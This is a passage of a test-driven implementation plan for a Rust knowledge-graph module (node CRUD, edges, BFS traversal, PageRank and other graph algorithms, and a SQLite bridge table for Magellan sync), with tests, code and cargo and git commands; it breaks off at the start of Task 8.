assert_eq!(node.kind, "pattern"); - assert_eq!(node.prop_str("pattern_type"), Some("builder")); - assert_eq!(node.prop_f64("confidence"), Some(0.92)); - } - - #[test] - fn test_add_knowledge_node() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let tags = vec!["auth".to_string(), "middleware".to_string()]; - let id = kg - .add_knowledge("wiki", "Auth Architecture", &tags, "Overview of auth flow") - .unwrap(); - - let node = kg.get_node(id).unwrap(); - assert_eq!(node.kind, "knowledge"); - assert_eq!(node.prop_str("source"), Some("wiki")); - assert_eq!(node.prop_str("title"), Some("Auth Architecture")); - } - - #[test] - fn test_add_hotspot_node() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let id = kg.add_hotspot(15, 0.85, 3, "high complexity loop").unwrap(); - - let node = kg.get_node(id).unwrap(); - assert_eq!(node.kind, "hotspot"); - assert_eq!(node.prop_u64("complexity"), Some(15)); - assert_eq!(node.prop_f64("risk_score"), Some(0.85)); - } - - #[test] - fn test_add_cfg_block_node() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let block = CfgBlockData { - start_byte: 100, - end_byte: 200, - block_kind: "Basic".to_string(), - is_error: false, - }; - let id = kg.add_cfg_block(42, &block).unwrap(); - - let node = kg.get_node(id).unwrap(); - assert_eq!(node.kind, "cfg_block"); - assert_eq!(node.prop_u64("function_id"), Some(42)); - assert_eq!(node.prop_str("block_kind"), Some("Basic")); - } - - #[test] - fn test_find_nodes_by_kind() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - kg.add_symbol("func_a", "Function", "a", "f.rs", 1, 0, 10, "Rust", None) - .unwrap(); - kg.add_symbol("func_b", "Function", "b", "f.rs", 2, 0, 10, "Rust", None) - .unwrap(); - kg.add_file("f.rs", "Rust", "hash").unwrap(); - - let symbols = kg.find_nodes_by_kind("symbol").unwrap(); - assert_eq!(symbols.len(), 2); - - let files = kg.find_nodes_by_kind("file").unwrap(); - assert_eq!(files.len(), 1); - } - - #[test] - fn test_get_node_not_found() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let result = kg.get_node(99999); - assert!(result.is_err()); - } -``` - -- [ ] **Step 2: Run test to verify it fails** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 knowledge::tests::test_add_symbol -- --nocapture 2>&1 | tail -5` -Expected: FAIL β€” method `add_symbol` does not exist on KnowledgeGraph. - -- [ ] **Step 3: Implement node CRUD methods** - -Add these methods to `impl KnowledgeGraph` in `forge_core/src/knowledge/mod.rs`: - -```rust - /// Retrieves a node by ID. - pub fn get_node(&self, node_id: i64) -> Result { - let snapshot = sqlitegraph::snapshot::SnapshotId::current(); - let entity = self - .backend - .get_node(snapshot, node_id) - .map_err(|e| ForgeError::DatabaseError(format!("Node not found: {}", e)))?; - - Ok(GraphNode::from_entity(node_id, &entity)) - } - - /// Finds all nodes of a given kind. - pub fn find_nodes_by_kind(&self, kind: &str) -> Result> { - let snapshot = sqlitegraph::snapshot::SnapshotId::current(); - let ids = self - .backend - .entity_ids() - .map_err(|e| ForgeError::DatabaseError(format!("Entity list failed: {}", e)))?; - - let mut results = Vec::new(); - for id in ids { - if let Ok(entity) = self.backend.get_node(snapshot, id) { - if entity.kind == kind { - results.push(GraphNode::from_entity(id, &entity)); - } - } - } - Ok(results) - } - - /// Inserts a raw node using NodeSpec. Returns the node ID. - fn insert_node(&self, kind: &str, name: &str, file_path: Option<&str>, data: serde_json::Value) -> Result { - let spec = sqlitegraph::backend::NodeSpec { - kind: kind.to_string(), - name: name.to_string(), - file_path: file_path.map(|s| s.to_string()), - data, - }; - self.backend - .insert_node(spec) - .map_err(|e| ForgeError::DatabaseError(format!("Insert node failed: {}", e))) - } - - /// Adds a symbol node. - pub fn add_symbol( - &self, - name: &str, - symbol_kind: &str, - qualified_name: &str, - file: &str, - line: usize, - byte_start: u32, - byte_end: u32, - language: &str, - parent_id: Option, - ) -> Result { - let mut data = serde_json::json!({ - "symbol_kind": symbol_kind, - "qualified_name": qualified_name, - "file": file, - "line": line, - "byte_start": byte_start, - "byte_end": byte_end, - "language": language, - }); - if let Some(pid) = parent_id { - data["parent_id"] = serde_json::json!(pid); - } - self.insert_node(types::node::SYMBOL, name, Some(file), data) - } - - /// Adds a file node. - pub fn add_file(&self, path: &str, language: &str, hash: &str) -> Result { - let data = serde_json::json!({ - "path": path, - "language": language, - "hash": hash, - }); - self.insert_node(types::node::FILE, path, None, data) - } - - /// Adds a discovery node. - pub fn add_discovery( - &self, - agent: &str, - discovery_type: &str, - target: &str, - metadata: serde_json::Value, - ) -> Result { - let data = serde_json::json!({ - "discovery_type": discovery_type, - "agent": agent, - "timestamp": chrono::Utc::now().to_rfc3339(), - "metadata": metadata, - }); - self.insert_node(types::node::DISCOVERY, target, None, data) - } - - /// Adds an issue node. - pub fn add_issue(&self, severity: &str, description: &str, rule_id: Option<&str>) -> Result { - let mut data = serde_json::json!({ - "severity": severity, - "description": description, - }); - if let Some(rid) = rule_id { - data["rule_id"] = serde_json::json!(rid); - } - self.insert_node(types::node::ISSUE, description, None, data) - } - - /// Adds a pattern node. - pub fn add_pattern(&self, pattern_type: &str, confidence: f64, description: &str) -> Result { - let data = serde_json::json!({ - "pattern_type": pattern_type, - "confidence": confidence, - "description": description, - }); - self.insert_node(types::node::PATTERN, pattern_type, None, data) - } - - /// Adds a knowledge node. - pub fn add_knowledge( - &self, - source: &str, - title: &str, - tags: &[String], - summary: &str, - ) -> Result { - let data = serde_json::json!({ - "source": source, - "title": title, - "tags": tags, - "summary": summary, - }); - self.insert_node(types::node::KNOWLEDGE, title, None, data) - } - - /// Adds a hotspot node. - pub fn add_hotspot(&self, complexity: u32, risk_score: f64, loop_depth: u32, description: &str) -> Result { - let data = serde_json::json!({ - "complexity": complexity, - "risk_score": risk_score, - "loop_depth": loop_depth, - "description": description, - }); - self.insert_node(types::node::HOTSPOT, description, None, data) - } - - /// Adds a CFG block node. - pub fn add_cfg_block(&self, function_id: i64, block: &CfgBlockData) -> Result { - let data = serde_json::json!({ - "function_id": function_id, - "start_byte": block.start_byte, - "end_byte": block.end_byte, - "block_kind": block.block_kind, - "is_error": block.is_error, - }); - self.insert_node(types::node::CFG_BLOCK, &format!("block_{}", block.start_byte), None, data) - } -``` - -Also add `chrono` to `forge_core/Cargo.toml` dependencies: - -```toml -chrono = "0.4" -``` - -And add the import at the top of `mod.rs`: - -```rust -use types::*; -``` - -- [ ] **Step 4: Run test to verify it passes** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 knowledge::tests -- --nocapture` -Expected: All 10 tests PASS (3 lifecycle + 10 CRUD + get_node_not_found + find_nodes_by_kind) - -- [ ] **Step 5: Commit** - -```bash -cd /home/feanor/Projects/forge -git add forge_core/src/knowledge/mod.rs forge_core/Cargo.toml -git commit -m "feat(forge_core): KnowledgeGraph node CRUD operations - -add_symbol, add_file, add_discovery, add_issue, add_pattern, -add_knowledge, add_hotspot, add_cfg_block, get_node, -find_nodes_by_kind. All store typed JSON properties via NodeSpec." -``` - ---- - -### Task 4: Edge operations - -**Files:** -- Modify: `forge_core/src/knowledge/mod.rs` - -- [ ] **Step 1: Write the failing tests** - -Add these tests to the test module: - -```rust - #[test] - fn test_add_edge() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let func_a = kg.add_symbol("func_a", "Function", "a", "f.rs", 1, 0, 10, "Rust", None).unwrap(); - let func_b = kg.add_symbol("func_b", "Function", "b", "f.rs", 2, 0, 10, "Rust", None).unwrap(); - - let edge_id = kg - .add_edge(func_a, func_b, "calls", serde_json::json!({"location_line": 5})) - .unwrap(); - - assert!(edge_id > 0); - } - - #[test] - fn test_add_correlation_bidirectional() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let sym = kg.add_symbol("my_func", "Function", "a", "f.rs", 1, 0, 10, "Rust", None).unwrap(); - let disc = kg.add_discovery("claude1", "Symbol", "my_func", serde_json::json!({})).unwrap(); - - kg.add_correlation(disc, sym, 0.95, "claude1").unwrap(); - - // Verify outgoing correlation: discovery -> symbol - let outgoing = kg.neighbors(disc, "correlates", Direction::Outgoing).unwrap(); - assert_eq!(outgoing.len(), 1); - assert_eq!(outgoing[0].name, "my_func"); - - // Verify incoming correlation: symbol <- discovery - let incoming = kg.neighbors(sym, "correlates", Direction::Incoming).unwrap(); - assert_eq!(incoming.len(), 1); - assert_eq!(incoming[0].name, "my_func"); - } -``` - -- [ ] **Step 2: Run test to verify it fails** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 knowledge::tests::test_add_edge -- --nocapture 2>&1 | tail -5` -Expected: FAIL β€” method `add_edge` does not exist. - -- [ ] **Step 3: Implement edge operations** - -Add these methods to `impl KnowledgeGraph`: - -```rust - /// Adds an edge between two nodes. - pub fn add_edge( - &self, - from: i64, - to: i64, - edge_type: &str, - data: serde_json::Value, - ) -> Result { - let spec = sqlitegraph::backend::EdgeSpec { - from, - to, - edge_type: edge_type.to_string(), - data, - }; - self.backend - .insert_edge(spec) - .map_err(|e| ForgeError::DatabaseError(format!("Insert edge failed: {}", e))) - } - - /// Adds a bidirectional correlation between two nodes. - /// - /// Creates two directed edges: fromβ†’to and toβ†’from, both with type - /// "correlates". - pub fn add_correlation(&self, from: i64, to: i64, confidence: f64, agent: &str) -> Result<()> { - let data = serde_json::json!({ - "confidence": confidence, - "agent": agent, - }); - self.add_edge(from, to, types::edge::CORRELATES, data.clone())?; - self.add_edge(to, from, types::edge::CORRELATES, data)?; - Ok(()) - } - - /// Returns neighbors of a node filtered by edge type and direction. - pub fn neighbors(&self, node_id: i64, edge_type: &str, direction: Direction) -> Result> { - let snapshot = sqlitegraph::snapshot::SnapshotId::current(); - let dir = match direction { - Direction::Incoming => sqlitegraph::backend::BackendDirection::Incoming, - Direction::Outgoing => sqlitegraph::backend::BackendDirection::Outgoing, - }; - let query = sqlitegraph::backend::NeighborQuery { - direction: dir, - edge_type: Some(edge_type.to_string()), - }; - let neighbor_ids = self - .backend - .neighbors(snapshot, node_id, query) - .map_err(|e| ForgeError::DatabaseError(format!("Neighbor query failed: {}", e)))?; - - let mut results = Vec::new(); - for nid in neighbor_ids { - if let Ok(entity) = self.backend.get_node(snapshot, nid) { - results.push(GraphNode::from_entity(nid, &entity)); - } - } - Ok(results) - } -``` - -- [ ] **Step 4: Run test to verify it passes** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 knowledge::tests -- --nocapture` -Expected: All tests PASS (including new edge tests) - -- [ ] **Step 5: Commit** - -```bash -cd /home/feanor/Projects/forge -git add forge_core/src/knowledge/mod.rs -git commit -m "feat(forge_core): KnowledgeGraph edge operations and neighbor queries - -add_edge, add_correlation (bidirectional), neighbors with edge type -and direction filtering via sqlitegraph NeighborQuery." -``` - ---- - -### Task 5: Traversal operations - -**Files:** -- Modify: `forge_core/src/knowledge/mod.rs` - -- [ ] **Step 1: Write the failing tests** - -```rust - #[test] - fn test_callers_of() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let target = kg.add_symbol("target_func", "Function", "t", "f.rs", 1, 0, 10, "Rust", None).unwrap(); - let caller_a = kg.add_symbol("caller_a", "Function", "a", "f.rs", 5, 0, 10, "Rust", None).unwrap(); - let caller_b = kg.add_symbol("caller_b", "Function", "b", "f.rs", 10, 0, 10, "Rust", None).unwrap(); - - kg.add_edge(caller_a, target, "calls", serde_json::json!({})).unwrap(); - kg.add_edge(caller_b, target, "calls", serde_json::json!({})).unwrap(); - - let callers = kg.callers_of(target, 1).unwrap(); - assert_eq!(callers.len(), 2); - } - - #[test] - fn test_callees_of() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let func = kg.add_symbol("func", "Function", "f", "f.rs", 1, 0, 10, "Rust", None).unwrap(); - let callee_a = kg.add_symbol("callee_a", "Function", "a", "f.rs", 5, 0, 10, "Rust", None).unwrap(); - let callee_b = kg.add_symbol("callee_b", "Function", "b", "f.rs", 10, 0, 10, "Rust", None).unwrap(); - - kg.add_edge(func, callee_a, "calls", serde_json::json!({})).unwrap(); - kg.add_edge(func, callee_b, "calls", serde_json::json!({})).unwrap(); - - let callees = kg.callees_of(func, 1).unwrap(); - assert_eq!(callees.len(), 2); - } - - #[test] - fn test_correlated_nodes() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let sym = kg.add_symbol("my_func", "Function", "a", "f.rs", 1, 0, 10, "Rust", None).unwrap(); - let disc1 = kg.add_discovery("agent1", "Symbol", "my_func", serde_json::json!({})).unwrap(); - let disc2 = kg.add_discovery("agent2", "CFG", "my_func", serde_json::json!({})).unwrap(); - - kg.add_correlation(disc1, sym, 0.9, "agent1").unwrap(); - kg.add_correlation(disc2, sym, 0.8, "agent2").unwrap(); - - let correlated = kg.correlated(sym).unwrap(); - assert_eq!(correlated.len(), 2); - } - - #[test] - fn test_affected_by() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let sym = kg.add_symbol("process_payment", "Function", "a", "f.rs", 1, 0, 10, "Rust", None).unwrap(); - let issue = kg.add_issue("high", "race condition", None).unwrap(); - - kg.add_edge(issue, sym, "affects", serde_json::json!({})).unwrap(); - - let affected = kg.affected_by(sym, 1).unwrap(); - assert_eq!(affected.len(), 1); - } -``` - -- [ ] **Step 2: Run test to verify it fails** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 knowledge::tests::test_callers_of -- --nocapture 2>&1 | tail -5` -Expected: FAIL β€” method `callers_of` does not exist. - -- [ ] **Step 3: Implement traversal methods** - -Add these methods to `impl KnowledgeGraph`: - -```rust - /// Finds all symbols that call the given symbol (incoming `calls` edges). - pub fn callers_of(&self, symbol_id: i64, max_depth: u32) -> Result> { - self.bfs_by_edge_type(symbol_id, types::edge::CALLS, Direction::Incoming, max_depth) - } - - /// Finds all symbols called by the given symbol (outgoing `calls` edges). - pub fn callees_of(&self, symbol_id: i64, max_depth: u32) -> Result> { - self.bfs_by_edge_type(symbol_id, types::edge::CALLS, Direction::Outgoing, max_depth) - } - - /// Finds all nodes correlated with the given node (bidirectional `correlates` edges). - pub fn correlated(&self, node_id: i64) -> Result> { - let incoming = self.neighbors(node_id, types::edge::CORRELATES, Direction::Incoming)?; - let outgoing = self.neighbors(node_id, types::edge::CORRELATES, Direction::Outgoing)?; - let mut seen = std::collections::HashSet::new(); - let mut results = Vec::new(); - for node in incoming.into_iter().chain(outgoing) { - if seen.insert(node.id) { - results.push(node); - } - } - Ok(results) - } - - /// Finds all symbols affected by issues (incoming `affects` edges, BFS to depth). - pub fn affected_by(&self, symbol_id: i64, depth: u32) -> Result> { - self.bfs_by_edge_type(symbol_id, types::edge::AFFECTS, Direction::Incoming, depth) - } - - /// BFS traversal filtered by a specific edge type and direction. - fn bfs_by_edge_type( - &self, - start: i64, - edge_type: &str, - direction: Direction, - max_depth: u32, - ) -> Result> { - let snapshot = sqlitegraph::snapshot::SnapshotId::current(); - let dir = match direction { - Direction::Incoming => sqlitegraph::backend::BackendDirection::Incoming, - Direction::Outgoing => sqlitegraph::backend::BackendDirection::Outgoing, - }; - - let mut visited = std::collections::HashSet::new(); - visited.insert(start); - let mut results = Vec::new(); - let mut frontier: Vec = vec![start]; - - for _ in 0..max_depth { - let mut next_frontier = Vec::new(); - for node_id in &frontier { - let query = sqlitegraph::backend::NeighborQuery { - direction: dir, - edge_type: Some(edge_type.to_string()), - }; - if let Ok(neighbor_ids) = self.backend.neighbors(snapshot, *node_id, query) { - for nid in neighbor_ids { - if visited.insert(nid) { - next_frontier.push(nid); - if let Ok(entity) = self.backend.get_node(snapshot, nid) { - results.push(GraphNode::from_entity(nid, &entity)); - } - } - } - } - } - frontier = next_frontier; - } - - Ok(results) - } -``` - -- [ ] **Step 4: Run test to verify it passes** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 knowledge::tests -- --nocapture` -Expected: All tests PASS - -- [ ] **Step 5: Commit** - -```bash -cd /home/feanor/Projects/forge -git add forge_core/src/knowledge/mod.rs -git commit -m "feat(forge_core): KnowledgeGraph traversal operations - -callers_of, callees_of, correlated, affected_by. BFS traversal -filtered by edge type and direction." -``` - ---- - -### Task 6: Graph algorithms - -**Files:** -- Modify: `forge_core/src/knowledge/mod.rs` - -- [ ] **Step 1: Write the failing tests** - -```rust - #[test] - fn test_pagerank() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let a = kg.add_symbol("a", "Function", "a", "f.rs", 1, 0, 10, "Rust", None).unwrap(); - let b = kg.add_symbol("b", "Function", "b", "f.rs", 2, 0, 10, "Rust", None).unwrap(); - let c = kg.add_symbol("c", "Function", "c", "f.rs", 3, 0, 10, "Rust", None).unwrap(); - - kg.add_edge(a, b, "calls", serde_json::json!({})).unwrap(); - kg.add_edge(b, c, "calls", serde_json::json!({})).unwrap(); - kg.add_edge(c, a, "calls", serde_json::json!({})).unwrap(); - - let ranks = kg.pagerank().unwrap(); - assert_eq!(ranks.len(), 3); - - // All nodes should have positive rank - for (_, rank) in &ranks { - assert!(*rank > 0.0); - } - } - - #[test] - fn test_shortest_path() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let a = kg.add_symbol("a", "Function", "a", "f.rs", 1, 0, 10, "Rust", None).unwrap(); - let b = kg.add_symbol("b", "Function", "b", "f.rs", 2, 0, 10, "Rust", None).unwrap(); - let c = kg.add_symbol("c", "Function", "c", "f.rs", 3, 0, 10, "Rust", None).unwrap(); - - kg.add_edge(a, b, "calls", serde_json::json!({})).unwrap(); - kg.add_edge(b, c, "calls", serde_json::json!({})).unwrap(); - - let path = kg.shortest_path(a, c).unwrap(); - assert!(path.is_some()); - let path = path.unwrap(); - assert_eq!(path.len(), 3); // a -> b -> c - assert_eq!(path[0], a); - assert_eq!(path[2], c); - } - - #[test] - fn test_reachability() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let a = kg.add_symbol("a", "Function", "a", "f.rs", 1, 0, 10, "Rust", None).unwrap(); - let b = kg.add_symbol("b", "Function", "b", "f.rs", 2, 0, 10, "Rust", None).unwrap(); - let c = kg.add_symbol("c", "Function", "c", "f.rs", 3, 0, 10, "Rust", None).unwrap(); - - kg.add_edge(a, b, "calls", serde_json::json!({})).unwrap(); - kg.add_edge(b, c, "calls", serde_json::json!({})).unwrap(); - - let reachable = kg.reachability(a).unwrap(); - assert!(reachable.contains(&b)); - assert!(reachable.contains(&c)); - } -``` - -- [ ] **Step 2: Run test to verify it fails** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 knowledge::tests::test_pagerank -- --nocapture 2>&1 | tail -5` -Expected: FAIL β€” method `pagerank` does not exist. - -- [ ] **Step 3: Implement graph algorithms** - -Add these methods to `impl KnowledgeGraph`: - -```rust - /// Runs PageRank on the graph. Returns (node_id, score) pairs. - pub fn pagerank(&self) -> Result> { - sqlitegraph::pagerank(&self.backend, 100) - .map_err(|e| ForgeError::DatabaseError(format!("PageRank failed: {}", e))) - } - - /// Finds the shortest path between two nodes. - pub fn shortest_path(&self, from: i64, to: i64) -> Result>> { - let snapshot = sqlitegraph::snapshot::SnapshotId::current(); - self.backend - .shortest_path(snapshot, from, to) - .map_err(|e| ForgeError::DatabaseError(format!("Shortest path failed: {}", e))) - } - - /// Returns all nodes reachable from the given node. - pub fn reachability(&self, from: i64) -> Result> { - let snapshot = sqlitegraph::snapshot::SnapshotId::current(); - self.backend - .bfs(snapshot, from, 100) // reasonable depth limit - .map_err(|e| ForgeError::DatabaseError(format!("Reachability failed: {}", e))) - } - - /// Detects cycles in the graph. - pub fn cycles(&self) -> Result>> { - // Use BFS-based cycle detection via sqlitegraph - let ids = self.backend.entity_ids() - .map_err(|e| ForgeError::DatabaseError(format!("Entity list failed: {}", e)))?; - - let snapshot = sqlitegraph::snapshot::SnapshotId::current(); - let mut cycles = Vec::new(); - let mut visited = std::collections::HashSet::new(); - - for start_id in &ids { - if visited.contains(start_id) { - continue; - } - - // BFS and check if we revisit a node - let mut path = vec![*start_id]; - let mut frontier = vec![*start_id]; - let mut local_visited = std::collections::HashSet::new(); - local_visited.insert(*start_id); - - while let Some(current) = frontier.pop() { - let query = sqlitegraph::backend::NeighborQuery { - direction: sqlitegraph::backend::BackendDirection::Outgoing, - edge_type: None, - }; - if let Ok(neighbors) = self.backend.neighbors(snapshot, current, query) { - for nid in neighbors { - if nid == *start_id && path.len() > 1 { - cycles.push(path.clone()); - } else if local_visited.insert(nid) { - frontier.push(nid); - path.push(nid); - } - } - } - } - - visited.extend(local_visited); - } - - Ok(cycles) - } - - /// Community detection using label propagation. - pub fn community_detection(&self) -> Result>> { - sqlitegraph::label_propagation(&self.backend) - .map_err(|e| ForgeError::DatabaseError(format!("Community detection failed: {}", e))) - } -``` - -Note: The `pagerank` and `label_propagation` functions take `&dyn GraphBackend` as their first argument. Verify the actual signature in sqlitegraph β€” if they take `&SqliteGraph` instead, you'll need to downcast or store the concrete type. - -If the algorithms require `&SqliteGraph` specifically, change `KnowledgeGraph` to store `SqliteGraph` directly instead of `Box`: - -```rust -pub struct KnowledgeGraph { - graph: sqlitegraph::SqliteGraph, - graph_path: PathBuf, - db_path: PathBuf, -} -``` - -And use `open_graph` result appropriately. The `SqliteGraph` type implements `GraphBackend`, so all the `NodeSpec`/`EdgeSpec` operations work the same way β€” you just call methods on `self.graph` directly instead of through the trait object. - -- [ ] **Step 4: Run test to verify it passes** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 knowledge::tests -- --nocapture` -Expected: All tests PASS - -- [ ] **Step 5: Commit** - -```bash -cd /home/feanor/Projects/forge -git add forge_core/src/knowledge/mod.rs -git commit -m "feat(forge_core): KnowledgeGraph graph algorithms - -pagerank, shortest_path, reachability, cycles, community_detection. -Delegates to sqlitegraph's algorithm implementations." -``` - ---- - -### Task 7: FTS5 bridge and Magellan sync - -**Files:** -- Modify: `forge_core/src/knowledge/mod.rs` -- Create: `forge_core/src/knowledge/sync.rs` - -- [ ] **Step 1: Write the failing tests** - -```rust - #[tokio::test] - async fn test_sync_symbols_empty_db() { - let temp = tempfile::tempdir().unwrap(); - let db_path = temp.path().join("magellan.db"); - - // Create an empty SQLite DB with the graph_node_index table - let conn = rusqlite::Connection::open(&db_path).unwrap(); - conn.execute_batch( - "CREATE TABLE IF NOT EXISTS graph_node_index ( - node_id INTEGER PRIMARY KEY, - magellan_id INTEGER, - node_kind TEXT NOT NULL, - graph_file TEXT NOT NULL - );" - ).unwrap(); - drop(conn); - - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &db_path, - ) - .unwrap(); - - let report = kg.sync_symbols().await.unwrap(); - assert_eq!(report.nodes_added, 0); - } - - #[test] - fn test_fts5_resolve_empty() { - let temp = tempfile::tempdir().unwrap(); - let db_path = temp.path().join("magellan.db"); - - let conn = rusqlite::Connection::open(&db_path).unwrap(); - conn.execute_batch( - "CREATE TABLE IF NOT EXISTS graph_node_index ( - node_id INTEGER PRIMARY KEY, - magellan_id INTEGER, - node_kind TEXT NOT NULL, - graph_file TEXT NOT NULL - );" - ).unwrap(); - drop(conn); - - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &db_path, - ) - .unwrap(); - - let result = kg.resolve_fts5("nonexistent").unwrap(); - assert!(result.is_none()); - } - - #[test] - fn test_fts5_resolve_after_populate() { - let temp = tempfile::tempdir().unwrap(); - let db_path = temp.path().join("magellan.db"); - - let conn = rusqlite::Connection::open(&db_path).unwrap(); - conn.execute_batch( - "CREATE TABLE IF NOT EXISTS graph_node_index ( - node_id INTEGER PRIMARY KEY, - magellan_id INTEGER, - node_kind TEXT NOT NULL, - graph_file TEXT NOT NULL - ); - INSERT INTO graph_node_index (node_id, magellan_id, node_kind, graph_file) - VALUES (47, 1, 'symbol', 'kg.graph');" - ).unwrap(); - drop(conn); - - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &db_path, - ) - .unwrap(); - - let node_id = kg.resolve_fts5_by_magellan_id(1).unwrap(); - assert_eq!(node_id, Some(47)); - } -``` - -- [ ] **Step 2: Run test to verify it fails** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 knowledge::tests::test_sync_symbols -- --nocapture 2>&1 | tail -5` -Expected: FAIL β€” method `sync_symbols` does not exist. - -- [ ] **Step 3: Implement sync and FTS5 bridge** - -Add `rusqlite` to `forge_core/Cargo.toml` dependencies (if not already present): - -```toml -rusqlite = { version = "0.31", features = ["bundled"] } -``` - -Add these methods to `impl KnowledgeGraph`: - -```rust - /// Resolves a Magellan symbol_id to a graph node_id via the bridge table. - pub fn resolve_fts5_by_magellan_id(&self, magellan_id: i64) -> Result> { - let conn = rusqlite::Connection::open(&self.db_path) - .map_err(|e| ForgeError::DatabaseError(format!("Open db failed: {}", e)))?; - - let mut stmt = conn - .prepare("SELECT node_id FROM graph_node_index WHERE magellan_id = ?1") - .map_err(|e| ForgeError::DatabaseError(format!("Prepare failed: {}", e)))?; - - let result = stmt - .query_row(rusqlite::params![magellan_id], |row| row.get::<_, i64>(0)) - .ok(); - - Ok(result) - } - - /// Resolves a keyword to a graph node_id via FTS5 (placeholder). - /// - /// In production, this queries the Magellan FTS5 tables. For now, - /// it delegates to resolve_fts5_by_magellan_id. - pub fn resolve_fts5(&self, _keyword: &str) -> Result> { - // Full FTS5 integration requires reading Magellan's symbols_fts table. - // This is a placeholder that will be completed when we integrate - // with the actual Magellan schema. - Ok(None) - } - - /// Syncs symbols from the Magellan .db into the knowledge graph. - /// - /// Reads all symbols from the Magellan database, creates corresponding - /// nodes in the .graph file, and populates the graph_node_index bridge table. - /// - /// For Phase 1, this reads from Magellan's symbol tables if the `magellan` - /// feature is enabled. Otherwise, it returns an empty report. - pub async fn sync_symbols(&self) -> Result { - let mut report = SyncReport::default(); - - #[cfg(feature = "magellan")] - { - // Read symbols from Magellan and create graph nodes - // This will be implemented when we integrate with the magellan crate API - report.nodes_added = 0; - } - - #[cfg(not(feature = "magellan"))] - { - report.nodes_added = 0; - } - - Ok(report) - } - - /// Syncs references from the Magellan .db into the knowledge graph. - /// - /// Creates `calls` and `references` edges between existing symbol nodes. - pub async fn sync_references(&self) -> Result { - let mut report = SyncReport::default(); - - #[cfg(feature = "magellan")] - { - // Read references from Magellan and create graph edges - // This will be implemented when we integrate with the magellan crate API - report.edges_added = 0; - } - - #[cfg(not(feature = "magellan"))] - { - report.edges_added = 0; - } - - Ok(report) - } - - /// Populates the bridge table with a node mapping. - fn insert_bridge_entry(&self, node_id: i64, magellan_id: i64, graph_file: &str) -> Result<()> { - let conn = rusqlite::Connection::open(&self.db_path) - .map_err(|e| ForgeError::DatabaseError(format!("Open db failed: {}", e)))?; - - // Ensure the table exists - conn.execute_batch( - "CREATE TABLE IF NOT EXISTS graph_node_index ( - node_id INTEGER PRIMARY KEY, - magellan_id INTEGER, - node_kind TEXT NOT NULL, - graph_file TEXT NOT NULL - );" - ).map_err(|e| ForgeError::DatabaseError(format!("Create table failed: {}", e)))?; - - conn.execute( - "INSERT OR REPLACE INTO graph_node_index (node_id, magellan_id, node_kind, graph_file) - VALUES (?1, ?2, 'symbol', ?3)", - rusqlite::params![node_id, magellan_id, graph_file], - ).map_err(|e| ForgeError::DatabaseError(format!("Insert bridge failed: {}", e)))?; - - Ok(()) - } -``` - -- [ ] **Step 4: Run test to verify it passes** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 knowledge::tests -- --nocapture` -Expected: All tests PASS - -- [ ] **Step 5: Commit** - -```bash -cd /home/feanor/Projects/forge -git add forge_core/src/knowledge/mod.rs forge_core/Cargo.toml -git commit -m "feat(forge_core): FTS5 bridge and Magellan sync skeleton - -resolve_fts5_by_magellan_id, resolve_fts5, sync_symbols, sync_references. -Bridge table (graph_node_index) maps Magellan IDs to graph node IDs." -``` - ---- - -### Task 8: Forge struct integration - -**Files:** -- Modify: `forge_core/src/lib.rs` - -- [ ] **Step 1: Write the failing test** - -Add to the tests in `forge_core/src/lib.rs`: - -```rust - #[tokio::test] - async fn test_forge_knowledge_accessor() { - let temp_dir = tempfile::tempdir().unwrap(); - let forge = 